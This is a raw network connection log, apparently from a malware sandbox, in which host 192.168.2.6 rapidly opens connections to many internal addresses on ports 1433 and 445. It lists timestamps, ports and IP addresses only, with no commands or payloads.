Jul 6, 2024 14:11:36.387121916 CEST	52836	1433	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:36.387121916 CEST	52836	1433	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:36.387598038 CEST	52838	1433	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:36.388948917 CEST	52835	1433	192.168.2.6	192.168.0.31
Jul 6, 2024 14:11:36.389281988 CEST	52834	1433	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:36.389281988 CEST	52834	1433	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:36.389281988 CEST	52839	1433	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:36.390912056 CEST	52844	445	192.168.2.6	192.168.4.54
Jul 6, 2024 14:11:36.390971899 CEST	52830	1433	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:36.392220020 CEST	1433	52830	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:36.392666101 CEST	52841	445	192.168.2.6	192.168.3.181
Jul 6, 2024 14:11:36.392666101 CEST	52842	445	192.168.2.6	192.168.3.182
Jul 6, 2024 14:11:36.392666101 CEST	52843	445	192.168.2.6	192.168.3.183
Jul 6, 2024 14:11:36.395354986 CEST	1433	52837	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:36.395488024 CEST	52840	1433	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:36.395488024 CEST	52846	1433	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:36.396053076 CEST	52845	445	192.168.2.6	192.168.4.55
Jul 6, 2024 14:11:36.396053076 CEST	52847	1433	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:36.396053076 CEST	52837	1433	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:36.396053076 CEST	52837	1433	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:36.396915913 CEST	1433	52838	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:36.396938086 CEST	1433	52835	192.168.0.31	192.168.2.6
Jul 6, 2024 14:11:36.398691893 CEST	52838	1433	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:36.399019957 CEST	52830	1433	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:36.399019957 CEST	52830	1433	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:36.400420904 CEST	1433	52834	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:36.400430918 CEST	1433	52834	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:36.400486946 CEST	1433	52839	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:36.400592089 CEST	445	52844	192.168.4.54	192.168.2.6
Jul 6, 2024 14:11:36.402344942 CEST	52839	1433	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:36.402344942 CEST	52839	1433	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:36.402626991 CEST	445	52841	192.168.3.181	192.168.2.6
Jul 6, 2024 14:11:36.402637005 CEST	445	52842	192.168.3.182	192.168.2.6
Jul 6, 2024 14:11:36.402646065 CEST	445	52843	192.168.3.183	192.168.2.6
Jul 6, 2024 14:11:36.403831959 CEST	52850	1433	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:36.403831959 CEST	52844	445	192.168.2.6	192.168.4.54
Jul 6, 2024 14:11:36.403831959 CEST	52844	445	192.168.2.6	192.168.4.54
Jul 6, 2024 14:11:36.405344009 CEST	1433	52836	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:36.405354023 CEST	1433	52840	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:36.405769110 CEST	1433	52846	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:36.406342030 CEST	52840	1433	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:36.406342030 CEST	52846	1433	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:36.406908035 CEST	52852	445	192.168.2.6	192.168.3.185
Jul 6, 2024 14:11:36.407128096 CEST	445	52845	192.168.4.55	192.168.2.6
Jul 6, 2024 14:11:36.407671928 CEST	52838	1433	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:36.407671928 CEST	52841	445	192.168.2.6	192.168.3.181
Jul 6, 2024 14:11:36.407671928 CEST	52843	445	192.168.2.6	192.168.3.183
Jul 6, 2024 14:11:36.407671928 CEST	52842	445	192.168.2.6	192.168.3.182
Jul 6, 2024 14:11:36.408638954 CEST	52845	445	192.168.2.6	192.168.4.55
Jul 6, 2024 14:11:36.408814907 CEST	1433	52830	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:36.408960104 CEST	1433	52838	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:36.410017014 CEST	52838	1433	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:36.410428047 CEST	1433	52839	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:36.413172960 CEST	1433	52847	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:36.413182974 CEST	1433	52837	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:36.413192034 CEST	1433	52850	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:36.413233995 CEST	52847	1433	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:36.413300991 CEST	52850	1433	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:36.415410042 CEST	1433	52830	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:36.415903091 CEST	1433	52830	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:36.416450977 CEST	445	52852	192.168.3.185	192.168.2.6
Jul 6, 2024 14:11:36.416497946 CEST	1433	52838	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:36.416551113 CEST	52852	445	192.168.2.6	192.168.3.185
Jul 6, 2024 14:11:36.417171955 CEST	1433	52839	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:36.417324066 CEST	1433	52837	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:36.417511940 CEST	445	52844	192.168.4.54	192.168.2.6
Jul 6, 2024 14:11:36.417562962 CEST	52844	445	192.168.2.6	192.168.4.54
Jul 6, 2024 14:11:36.417860031 CEST	1433	52838	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:36.418210030 CEST	1433	52840	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:36.418353081 CEST	1433	52846	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:36.418740034 CEST	445	52841	192.168.3.181	192.168.2.6
Jul 6, 2024 14:11:36.418777943 CEST	52841	445	192.168.2.6	192.168.3.181
Jul 6, 2024 14:11:36.418800116 CEST	52840	1433	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:36.418800116 CEST	52846	1433	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:36.418873072 CEST	445	52843	192.168.3.183	192.168.2.6
Jul 6, 2024 14:11:36.418883085 CEST	445	52842	192.168.3.182	192.168.2.6
Jul 6, 2024 14:11:36.418906927 CEST	52843	445	192.168.2.6	192.168.3.183
Jul 6, 2024 14:11:36.418936014 CEST	445	52845	192.168.4.55	192.168.2.6
Jul 6, 2024 14:11:36.418951035 CEST	52842	445	192.168.2.6	192.168.3.182
Jul 6, 2024 14:11:36.419876099 CEST	52845	445	192.168.2.6	192.168.4.55
Jul 6, 2024 14:11:36.421881914 CEST	52841	445	192.168.2.6	192.168.3.181
Jul 6, 2024 14:11:36.422451973 CEST	1433	52847	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:36.422461987 CEST	1433	52850	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:36.422503948 CEST	52847	1433	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:36.422676086 CEST	52850	1433	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:36.424155951 CEST	445	52852	192.168.3.185	192.168.2.6
Jul 6, 2024 14:11:36.424210072 CEST	52852	445	192.168.2.6	192.168.3.185
Jul 6, 2024 14:11:36.428145885 CEST	445	52841	192.168.3.181	192.168.2.6
Jul 6, 2024 14:11:36.456351042 CEST	52842	445	192.168.2.6	192.168.3.182
Jul 6, 2024 14:11:36.461443901 CEST	445	52842	192.168.3.182	192.168.2.6
Jul 6, 2024 14:11:36.470032930 CEST	52843	445	192.168.2.6	192.168.3.183
Jul 6, 2024 14:11:36.475121021 CEST	445	52843	192.168.3.183	192.168.2.6
Jul 6, 2024 14:11:36.498357058 CEST	52840	1433	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:36.498452902 CEST	52840	1433	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:36.498646021 CEST	52853	1433	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:36.499289989 CEST	52846	1433	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:36.500897884 CEST	52854	1433	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:36.503671885 CEST	52845	445	192.168.2.6	192.168.4.55
Jul 6, 2024 14:11:36.504040003 CEST	1433	52840	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:36.504049063 CEST	1433	52840	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:36.504057884 CEST	1433	52853	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:36.504297018 CEST	1433	52846	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:36.507301092 CEST	1433	52854	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:36.509109974 CEST	445	52845	192.168.4.55	192.168.2.6
Jul 6, 2024 14:11:36.509550095 CEST	52853	1433	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:36.509550095 CEST	52854	1433	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:36.511584997 CEST	52855	1433	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:36.512299061 CEST	52847	1433	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:36.512299061 CEST	52847	1433	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:36.512299061 CEST	52850	1433	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:36.512401104 CEST	52856	1433	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:36.515094995 CEST	52857	1433	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:36.515336037 CEST	52852	445	192.168.2.6	192.168.3.185
Jul 6, 2024 14:11:36.516820908 CEST	52853	1433	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:36.516820908 CEST	52854	1433	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:36.516859055 CEST	1433	52853	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:36.517247915 CEST	52865	1433	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:36.517785072 CEST	1433	52855	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:36.517874956 CEST	1433	52847	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:36.517893076 CEST	1433	52847	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:36.517903090 CEST	1433	52850	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:36.517911911 CEST	1433	52856	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:36.517931938 CEST	1433	52854	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:36.519032955 CEST	52855	1433	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:36.519032955 CEST	52855	1433	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:36.519545078 CEST	52858	1433	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:36.519545078 CEST	52864	445	192.168.2.6	192.168.3.189
Jul 6, 2024 14:11:36.520865917 CEST	445	52852	192.168.3.185	192.168.2.6
Jul 6, 2024 14:11:36.521296978 CEST	52866	1433	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:36.522347927 CEST	52853	1433	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:36.522347927 CEST	52853	1433	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:36.522347927 CEST	52856	1433	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:36.522347927 CEST	52854	1433	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:36.522349119 CEST	52856	1433	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:36.522349119 CEST	52854	1433	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:36.522659063 CEST	1433	52865	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:36.524148941 CEST	1433	52855	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:36.524221897 CEST	52865	1433	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:36.524856091 CEST	1433	52858	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:36.524905920 CEST	52858	1433	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:36.525739908 CEST	52865	1433	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:36.525849104 CEST	52862	445	192.168.2.6	192.168.3.188
Jul 6, 2024 14:11:36.525849104 CEST	52863	445	192.168.2.6	192.168.3.190
Jul 6, 2024 14:11:36.526010036 CEST	52858	1433	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:36.526736975 CEST	1433	52857	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:36.526758909 CEST	1433	52853	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:36.527592897 CEST	1433	52854	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:36.527733088 CEST	445	52864	192.168.3.189	192.168.2.6
Jul 6, 2024 14:11:36.527755022 CEST	1433	52866	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:36.527790070 CEST	1433	52853	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:36.527796030 CEST	52864	445	192.168.2.6	192.168.3.189
Jul 6, 2024 14:11:36.527800083 CEST	1433	52853	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:36.527808905 CEST	1433	52854	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:36.527818918 CEST	1433	52856	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:36.527828932 CEST	1433	52854	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:36.527844906 CEST	52866	1433	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:36.528107882 CEST	52857	1433	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:36.528188944 CEST	1433	52856	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:36.529251099 CEST	1433	52865	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:36.529306889 CEST	52865	1433	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:36.530200005 CEST	52859	445	192.168.2.6	192.168.3.184
Jul 6, 2024 14:11:36.530200005 CEST	52860	445	192.168.2.6	192.168.3.186
Jul 6, 2024 14:11:36.530358076 CEST	52861	445	192.168.2.6	192.168.3.187
Jul 6, 2024 14:11:36.530358076 CEST	52851	445	192.168.2.6	192.168.4.56
Jul 6, 2024 14:11:36.530668020 CEST	52857	1433	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:36.531039000 CEST	1433	52858	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:36.531196117 CEST	1433	52865	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:36.531260014 CEST	1433	52858	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:36.533716917 CEST	445	52864	192.168.3.189	192.168.2.6
Jul 6, 2024 14:11:36.533909082 CEST	1433	52866	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:36.534199953 CEST	1433	52857	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:36.534440041 CEST	52864	445	192.168.2.6	192.168.3.189
Jul 6, 2024 14:11:36.534440041 CEST	52858	1433	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:36.534440041 CEST	52864	445	192.168.2.6	192.168.3.189
Jul 6, 2024 14:11:36.534832001 CEST	1433	52865	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:36.535281897 CEST	445	52859	192.168.3.184	192.168.2.6
Jul 6, 2024 14:11:36.535311937 CEST	445	52860	192.168.3.186	192.168.2.6
Jul 6, 2024 14:11:36.535321951 CEST	445	52861	192.168.3.187	192.168.2.6
Jul 6, 2024 14:11:36.535331011 CEST	445	52851	192.168.4.56	192.168.2.6
Jul 6, 2024 14:11:36.536065102 CEST	1433	52857	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:36.538604021 CEST	52866	1433	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:36.538604021 CEST	52867	1433	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:36.538604021 CEST	52865	1433	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:36.538604021 CEST	52866	1433	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:36.540122986 CEST	52857	1433	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:36.542270899 CEST	445	52862	192.168.3.188	192.168.2.6
Jul 6, 2024 14:11:36.542635918 CEST	445	52863	192.168.3.190	192.168.2.6
Jul 6, 2024 14:11:36.542850971 CEST	445	52864	192.168.3.189	192.168.2.6
Jul 6, 2024 14:11:36.542860031 CEST	1433	52858	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:36.542927980 CEST	445	52864	192.168.3.189	192.168.2.6
Jul 6, 2024 14:11:36.543673038 CEST	1433	52866	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:36.544972897 CEST	52859	445	192.168.2.6	192.168.3.184
Jul 6, 2024 14:11:36.544974089 CEST	52860	445	192.168.2.6	192.168.3.186
Jul 6, 2024 14:11:36.544974089 CEST	52861	445	192.168.2.6	192.168.3.187
Jul 6, 2024 14:11:36.544974089 CEST	52851	445	192.168.2.6	192.168.4.56
Jul 6, 2024 14:11:36.546287060 CEST	1433	52867	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:36.546295881 CEST	1433	52865	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:36.546304941 CEST	1433	52866	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:36.551220894 CEST	445	52859	192.168.3.184	192.168.2.6
Jul 6, 2024 14:11:36.551449060 CEST	52867	1433	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:36.551713943 CEST	52862	445	192.168.2.6	192.168.3.188
Jul 6, 2024 14:11:36.551713943 CEST	52863	445	192.168.2.6	192.168.3.190
Jul 6, 2024 14:11:36.551743984 CEST	445	52860	192.168.3.186	192.168.2.6
Jul 6, 2024 14:11:36.551754951 CEST	445	52861	192.168.3.187	192.168.2.6
Jul 6, 2024 14:11:36.553658009 CEST	52859	445	192.168.2.6	192.168.3.184
Jul 6, 2024 14:11:36.553658009 CEST	52860	445	192.168.2.6	192.168.3.186
Jul 6, 2024 14:11:36.554574013 CEST	1433	52857	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:36.556780100 CEST	52868	1433	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:36.559046984 CEST	1433	52867	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:36.561120033 CEST	52861	445	192.168.2.6	192.168.3.187
Jul 6, 2024 14:11:36.561707020 CEST	1433	52868	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:36.565073967 CEST	52867	1433	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:36.565073967 CEST	52868	1433	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:36.568068027 CEST	445	52862	192.168.3.188	192.168.2.6
Jul 6, 2024 14:11:36.568078041 CEST	445	52863	192.168.3.190	192.168.2.6
Jul 6, 2024 14:11:36.570763111 CEST	52869	1433	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:36.570763111 CEST	52859	445	192.168.2.6	192.168.3.184
Jul 6, 2024 14:11:36.570763111 CEST	52860	445	192.168.2.6	192.168.3.186
Jul 6, 2024 14:11:36.571990967 CEST	52861	445	192.168.2.6	192.168.3.187
Jul 6, 2024 14:11:36.571990967 CEST	52851	445	192.168.2.6	192.168.4.56
Jul 6, 2024 14:11:36.574280024 CEST	1433	52868	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:36.576822042 CEST	1433	52869	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:36.576839924 CEST	445	52859	192.168.3.184	192.168.2.6
Jul 6, 2024 14:11:36.576859951 CEST	445	52860	192.168.3.186	192.168.2.6
Jul 6, 2024 14:11:36.576867104 CEST	52868	1433	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:36.576901913 CEST	445	52861	192.168.3.187	192.168.2.6
Jul 6, 2024 14:11:36.576967955 CEST	445	52851	192.168.4.56	192.168.2.6
Jul 6, 2024 14:11:36.577606916 CEST	52869	1433	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:36.577606916 CEST	52851	445	192.168.2.6	192.168.4.56
Jul 6, 2024 14:11:36.581152916 CEST	52869	1433	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:36.581899881 CEST	52867	1433	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:36.581899881 CEST	52867	1433	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:36.581899881 CEST	52870	1433	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:36.581899881 CEST	52868	1433	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:36.585369110 CEST	52863	445	192.168.2.6	192.168.3.190
Jul 6, 2024 14:11:36.585369110 CEST	52862	445	192.168.2.6	192.168.3.188
Jul 6, 2024 14:11:36.585369110 CEST	52862	445	192.168.2.6	192.168.3.188
Jul 6, 2024 14:11:36.586273909 CEST	1433	52869	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:36.586360931 CEST	1433	52869	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:36.587089062 CEST	1433	52867	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:36.587234020 CEST	1433	52867	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:36.590050936 CEST	52869	1433	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:36.590050936 CEST	52869	1433	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:36.590235949 CEST	1433	52870	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:36.590245962 CEST	1433	52868	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:36.590781927 CEST	52871	1433	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:36.590781927 CEST	52870	1433	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:36.595479012 CEST	52863	445	192.168.2.6	192.168.3.190
Jul 6, 2024 14:11:36.596014977 CEST	52870	1433	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:36.596124887 CEST	445	52862	192.168.3.188	192.168.2.6
Jul 6, 2024 14:11:36.596136093 CEST	1433	52869	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:36.596220016 CEST	1433	52869	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:36.597165108 CEST	1433	52871	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:36.599150896 CEST	1433	52870	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:36.601064920 CEST	52871	1433	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:36.601064920 CEST	52870	1433	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:36.601110935 CEST	445	52863	192.168.3.190	192.168.2.6
Jul 6, 2024 14:11:36.601120949 CEST	1433	52870	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:36.608103991 CEST	52870	1433	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:36.610022068 CEST	52871	1433	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:36.611072063 CEST	1433	52870	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:36.611439943 CEST	1433	52871	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:36.611490965 CEST	52876	445	192.168.2.6	192.168.3.194
Jul 6, 2024 14:11:36.611520052 CEST	52871	1433	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:36.611984015 CEST	52877	445	192.168.2.6	192.168.3.195
Jul 6, 2024 14:11:36.612143993 CEST	52878	445	192.168.2.6	192.168.3.196
Jul 6, 2024 14:11:36.612268925 CEST	52879	445	192.168.2.6	192.168.3.197
Jul 6, 2024 14:11:36.613219023 CEST	1433	52870	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:36.615447998 CEST	1433	52871	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:36.618072987 CEST	445	52876	192.168.3.194	192.168.2.6
Jul 6, 2024 14:11:36.618458986 CEST	1433	52871	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:36.618645906 CEST	52874	445	192.168.2.6	192.168.3.191
Jul 6, 2024 14:11:36.618645906 CEST	52880	445	192.168.2.6	192.168.4.57
Jul 6, 2024 14:11:36.618891954 CEST	52872	1433	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:36.618953943 CEST	52873	445	192.168.2.6	192.168.3.192
Jul 6, 2024 14:11:36.618953943 CEST	52875	445	192.168.2.6	192.168.3.193
Jul 6, 2024 14:11:36.619496107 CEST	445	52877	192.168.3.195	192.168.2.6
Jul 6, 2024 14:11:36.619504929 CEST	445	52878	192.168.3.196	192.168.2.6
Jul 6, 2024 14:11:36.619661093 CEST	445	52879	192.168.3.197	192.168.2.6
Jul 6, 2024 14:11:36.623876095 CEST	52876	445	192.168.2.6	192.168.3.194
Jul 6, 2024 14:11:36.623876095 CEST	52877	445	192.168.2.6	192.168.3.195
Jul 6, 2024 14:11:36.624064922 CEST	1433	52872	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:36.624202013 CEST	445	52873	192.168.3.192	192.168.2.6
Jul 6, 2024 14:11:36.624305964 CEST	445	52875	192.168.3.193	192.168.2.6
Jul 6, 2024 14:11:36.626828909 CEST	52878	445	192.168.2.6	192.168.3.196
Jul 6, 2024 14:11:36.626828909 CEST	52879	445	192.168.2.6	192.168.3.197
Jul 6, 2024 14:11:36.629517078 CEST	52872	1433	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:36.629517078 CEST	52873	445	192.168.2.6	192.168.3.192
Jul 6, 2024 14:11:36.629517078 CEST	52875	445	192.168.2.6	192.168.3.193
Jul 6, 2024 14:11:36.630641937 CEST	445	52874	192.168.3.191	192.168.2.6
Jul 6, 2024 14:11:36.630969048 CEST	445	52880	192.168.4.57	192.168.2.6
Jul 6, 2024 14:11:36.631727934 CEST	52874	445	192.168.2.6	192.168.3.191
Jul 6, 2024 14:11:36.634490967 CEST	52880	445	192.168.2.6	192.168.4.57
Jul 6, 2024 14:11:36.635198116 CEST	445	52876	192.168.3.194	192.168.2.6
Jul 6, 2024 14:11:36.636046886 CEST	445	52877	192.168.3.195	192.168.2.6
Jul 6, 2024 14:11:36.638123989 CEST	52876	445	192.168.2.6	192.168.3.194
Jul 6, 2024 14:11:36.638879061 CEST	445	52878	192.168.3.196	192.168.2.6
Jul 6, 2024 14:11:36.639132977 CEST	445	52879	192.168.3.197	192.168.2.6
Jul 6, 2024 14:11:36.639229059 CEST	52878	445	192.168.2.6	192.168.3.196
Jul 6, 2024 14:11:36.639229059 CEST	52879	445	192.168.2.6	192.168.3.197
Jul 6, 2024 14:11:36.641716003 CEST	445	52874	192.168.3.191	192.168.2.6
Jul 6, 2024 14:11:36.641741991 CEST	445	52880	192.168.4.57	192.168.2.6
Jul 6, 2024 14:11:36.643315077 CEST	52874	445	192.168.2.6	192.168.3.191
Jul 6, 2024 14:11:36.643315077 CEST	52880	445	192.168.2.6	192.168.4.57
Jul 6, 2024 14:11:36.645375967 CEST	1433	52872	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:36.645540953 CEST	445	52873	192.168.3.192	192.168.2.6
Jul 6, 2024 14:11:36.645644903 CEST	52872	1433	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:36.645777941 CEST	52873	445	192.168.2.6	192.168.3.192
Jul 6, 2024 14:11:36.646244049 CEST	52877	445	192.168.2.6	192.168.3.195
Jul 6, 2024 14:11:36.649287939 CEST	445	52875	192.168.3.193	192.168.2.6
Jul 6, 2024 14:11:36.649548054 CEST	52876	445	192.168.2.6	192.168.3.194
Jul 6, 2024 14:11:36.650521040 CEST	52877	445	192.168.2.6	192.168.3.195
Jul 6, 2024 14:11:36.650929928 CEST	52875	445	192.168.2.6	192.168.3.193
Jul 6, 2024 14:11:36.655917883 CEST	445	52876	192.168.3.194	192.168.2.6
Jul 6, 2024 14:11:36.656835079 CEST	52873	445	192.168.2.6	192.168.3.192
Jul 6, 2024 14:11:36.657136917 CEST	445	52877	192.168.3.195	192.168.2.6
Jul 6, 2024 14:11:36.659029961 CEST	52872	1433	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:36.659091949 CEST	52875	445	192.168.2.6	192.168.3.193
Jul 6, 2024 14:11:36.662199020 CEST	52882	445	192.168.2.6	192.168.3.199
Jul 6, 2024 14:11:36.662672043 CEST	52881	445	192.168.2.6	192.168.3.198
Jul 6, 2024 14:11:36.663017035 CEST	52874	445	192.168.2.6	192.168.3.191
Jul 6, 2024 14:11:36.663017035 CEST	52880	445	192.168.2.6	192.168.4.57
Jul 6, 2024 14:11:36.663017988 CEST	52883	445	192.168.2.6	192.168.3.200
Jul 6, 2024 14:11:36.664132118 CEST	445	52873	192.168.3.192	192.168.2.6
Jul 6, 2024 14:11:36.664920092 CEST	52878	445	192.168.2.6	192.168.3.196
Jul 6, 2024 14:11:36.664920092 CEST	52879	445	192.168.2.6	192.168.3.197
Jul 6, 2024 14:11:36.666330099 CEST	1433	52872	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:36.666850090 CEST	445	52875	192.168.3.193	192.168.2.6
Jul 6, 2024 14:11:36.667695045 CEST	52884	1433	192.168.2.6	192.168.0.36
